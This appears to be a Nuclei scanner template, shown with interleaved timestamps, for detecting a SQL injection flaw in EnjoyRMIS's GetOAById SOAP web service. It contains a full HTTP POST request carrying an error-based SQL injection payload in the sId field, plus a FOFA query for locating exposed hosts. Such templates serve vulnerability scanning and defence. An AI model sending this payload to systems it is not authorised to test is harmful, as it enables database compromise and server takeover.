2024-07-10 00:26:48 +00:00
id : enjoyrmis-sqli
info :
name : EnjoyRMIS - SQL Injection
author : securityforeveryone
severity : high
description : |
2024-07-10 11:27:31 +00:00
EnjoyRMIS GetOAById has a SQL injection vulnerability, through which an attacker can obtain sensitive database information and even control the server.
2024-07-10 00:26:48 +00:00
reference :
- https://github.com/wy876/POC/blob/main/EnjoyRMIS-GetOAById%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
metadata :
fofa-query : body="CheckSilverlightInstalled"
2024-07-10 11:27:31 +00:00
verified : true
max-request : 1
tags : enjoyrmis,sqli
2024-07-10 00:26:48 +00:00
http :
- raw :
- |
POST /EnjoyRMIS_WS/WS/POS/cwsoa.asmx HTTP/1.1
Host : {{Hostname}}
Content-Type : text/xml; charset=utf-8
SOAPAction : "http://tempuri.org/GetOAById"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetOAById xmlns="http://tempuri.org/">
<sId>string' AND 8448 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8448=8448) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113))) AND 'OFyo'='OFyo</sId>
</GetOAById>
</soap:Body>
</soap:Envelope>
matchers :
- type : dsl
dsl :
- 'contains(body,"qqqzq1qvkqq")'
2024-07-10 11:27:31 +00:00
- 'contains(header,"text/xml")'
2024-07-10 00:26:48 +00:00
- 'status_code == 500'
condition : and
2024-07-10 12:51:33 +00:00
# digest: 4a0a004730450220513988d1b627de15516cd810009872484dabe6fec068dbf7fa444d194ba5556e0221009e14aab414cb6378c10d990da66a26dc6aa4e8bf1365903580f01b815291b1d0:922c64590222798bb761d5b6d8e72950